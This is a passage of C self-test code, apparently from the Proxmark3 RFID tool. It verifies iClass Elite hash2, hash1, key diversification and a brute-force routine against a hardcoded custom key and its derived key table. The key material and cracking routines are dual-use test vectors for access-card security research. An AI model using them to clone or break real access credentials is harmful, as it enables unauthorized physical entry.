) {
877 PrintAndLogEx(INFO
, "Testing iClass Elite functionality");
878 PrintAndLogEx(INFO
, "Testing hash2...");
879 uint8_t k_cus
[8] = {0x5B, 0x7C, 0x62, 0xC4, 0x91, 0xC1, 0x1B, 0x39};
883 * High Security Key Table
885 00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
886 10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
887 20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
888 30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
889 40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
890 50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
891 60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
892 70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
894 **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ****
896 uint8_t keytable
[128] = {0};
897 hash2(k_cus
, keytable
);
898 printarr_human_readable("---------------------- Hash2 ----------------------", keytable
, sizeof(keytable
));
899 if (keytable
[3] == 0xA1 && keytable
[0x30] == 0xA3 && keytable
[0x6F] == 0x95) {
900 PrintAndLogEx(SUCCESS
, " hash2 (%s)", _GREEN_("ok"));
903 int res
= PM3_SUCCESS
;
904 PrintAndLogEx(INFO
, "Testing hash1...");
906 PrintAndLogEx((res
== PM3_SUCCESS
) ? SUCCESS
: WARNING
, " hash1 (%s)", (res
== PM3_SUCCESS
) ? _GREEN_("ok") : _RED_("fail"));
908 PrintAndLogEx(INFO
, "Testing key diversification...");
909 res
+= _test_iclass_key_permutation();
910 PrintAndLogEx((res
== PM3_SUCCESS
) ? SUCCESS
: WARNING
, " key diversification (%s)", (res
== PM3_SUCCESS
) ? _GREEN_("ok") : _RED_("fail"));
913 res
+= _testBruteforce();